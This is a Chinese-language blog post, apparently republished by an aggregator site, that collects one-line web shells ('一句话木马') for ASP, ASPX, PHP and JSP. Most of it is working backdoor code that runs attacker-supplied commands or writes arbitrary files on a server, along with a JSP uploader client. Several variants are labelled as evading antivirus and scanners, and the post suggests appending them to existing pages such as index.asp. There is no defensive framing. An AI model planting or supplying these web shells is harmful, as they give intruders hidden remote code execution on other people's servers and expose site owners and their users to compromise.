zoukankan      html  css  js  c++  java
  • 一句话木马

    一句话木马

    asp

    <%execute(request("kxc"))%>
    
    <%eval request ("pass")%>
    
    <%eval request(chr(35))%>
    
    <%executerequest("YouPass")%>
    
    <%eval(request(“1″)):response.end%>
    
    

    php

    <?php @eval($_POST['pass']);?>
    
    <?php fputs( fopen('xie.php','w')  , '<? php eval($_POST[xie]) ?>' ) ; ?>
        
      #将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
        
    <?php
    $a=array("assert"=>"XC90");
    $b=array_keys($a,'XC90');
    declare(ticks=1);
    register_tick_function($b[0], $_REQUEST['x']);
    ?>
    

    aspx

    <%@ Page Language="Jscript"%> 
    
    <%eval(Request.Item["pass"],"unsafe");%>
    
    

    jsp脚本后门

    先把下面的代码保存为 one.jsp (该代码的作用是可以在当前目录下生成另外一个指定的文件),然后上传到服务器

    <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 
    

    然后将下面的代码保存为 .html 格式的,直接双击本地打开。这是作为客户端去连接我们刚刚上传的one.jsp的

    <html><head><title>JSP一句话木马客户端</title></head><div align=center>  <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text>  <br><br><textarea name=t rows=20 cols=120>你要提交到服务器的代码</textarea><br>要保存成的文件名:<input name=f size=30 value=shell.jsp><input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form>  <br>服务端代码:<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>   </textarea>  </div></body> 
    

    无回显执行命令

    将下面的命令保存为 a.jsp,然后上传到服务器

    <%Runtime.getRuntime().exec(request.getParameter("i"));%>
    

    有回显带密码执行命令

    将下面的命令保存为 b.jsp,然后上传到服务器

    <%
        if("b".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>
    

    参考

    其它

    <%eval request("c")%>
    <%execute request("c")%>
    <%execute(request("c"))%>
    <%ExecuteGlobal request("sb")%>
    %><%Eval(Request(chr(35)))%><%
    <%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>
    <%eval(Request.Item["c"],"unsafe");%>
    '备份专用
    <%eval(request("c")):response.end%>
    '无防下载表,有防下载表突破专用一句话
    <%execute request("c")%><%<%loop<%:%>
    <%<%loop<%:%><%execute request("c")%>
    <%execute request("c")<%loop<%:%>
    '防杀防扫专用
    <%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>
    '不用"<,>"
    <script language=VBScript runat=server>execute request("c")</script>
    <% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我一声老大'};lcx.性别((lcx.
    名字)+'') %>
    <script language=vbs runat=server>eval(request("c"))</script>
    <script language=vbs runat=server>eval_r(request("c"))</script>
    '不用双引号
    <%eval request(chr(35))%>
    '可以躲过雷客图
    <%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject"response",response ms.AddObject
     
    "request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%>
    <%dy=request("dy")%><%Eval(dy)%>
    '容错代码
    if Request("sb")<>"" then ExecuteGlobal request("sb") end if
    PHP一句话
     
    <?php eval($_POST1);?>
    <?php if(isset($_POST['c'])){eval($_POST['c']);}?>
    <?php system($_REQUEST1);?>
    <?php ($_=@$_GET1).@$_($_POST1)?>
    <?php eval_r($_POST1)?>
    <?php @eval_r($_POST1)?>//容错代码
    <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
    <?$_POST['c']($_POST['cc']);?>
    <?$_POST['c']($_POST['cc'],$_POST['cc'])?>
    <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
    <?php echo `$_GET['r']` ?>
    //绕过<?限制的一句话
    <script language="php">@eval_r($_POST[sb])</script>
     
    //绕过<?php ?>限制的一句话 
     
    <?=eval($_POST['cmd']);
     
    JSP一句话
     
    <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
    提交客户端
    <form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
    ASPX一句话
    <script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
     
    普通的php一句话:<?php @eval($_POST['r00ts']);?>
    普通的asp一句话:<%eval(Request.Item["r00ts"],”unsafe”);%>
    aspx突破一流的:
    dim da
    set fso=server.createobject("scripting.filesystemobject")
    path=request("path")
    if path<>"" then
    data=request("da")
    set da=fso.createtextfile(path,true)
    da.write data
    if err=0 then
    Response.Write "yes"
    else
    Response.Write "no"
    end if
    err.clear
    end if
    set da=nothing
    set fos=nothing
    Response.Write "<form action=" method=post>"
    Response.Write "<input type=text name=path>"
    Response.Write "<br>"
    Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))
    Response.Write "<br>"
    Response.Write "操作系统为:"&Request.ServerVariables("OS")
    Response.Write "<br>"
    Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")
    Response.Write "<br>"
    Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"
    Response.Write "<br>"
    Response.Write "<input type=submit value=save>"
    Response.Write "</form>"
    </Script>
     
     
    ASP一句话:<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
     
    PHP防杀放扫 一句话:<?php (])?>
    上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如
    index.asp里面也是可以的!
     
    因为加了判断!加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件
    的最底部不会出错!<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system($_REQUEST[1]);?>
     
    无防下载表,有防下载表可尝试插入以下语句突破的一句话
    <%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request(“class”)%><%execute request(“class”)'<% loop <%:%>
     
     
    备份专用<%eval(request(“1″)):response.end%>
    asp一句话<%execute(request(“1″))%>
    aspx一句话:<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y(“add6bb58e139be10″);</script>
     
    可以躲过雷客图的一句话。
    <%set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″)
    ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”,
    requestms.ExecuteStatement(“ev”&”al(request(“”1″”))”)%>
     
    不用'<,>‘的asp一句话<scriptrunat=server>execute request(“1″)</script>
     
    不用双引号的一句话。<%eval request(chr(35))%>
    

    参考

  • 相关阅读:
    onload执行顺序
    让EXCHANGE可以接收外部邮件服务器发送的邮件
    QQ网站里AppTui对象脚本
    owa2007写新邮件时已经选择人员不能带入到与通讯录选人界面问题解决方法
    qq网站里动态加载脚本的实现
    qq网站里对元素的操作方法
    让Exchange可以发送邮件到互联网的邮件服务器
    js实现的hashtable
    无线网卡共享网络发射
    css省略号效果
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/11178679.html
Copyright © 2011-2022 走看看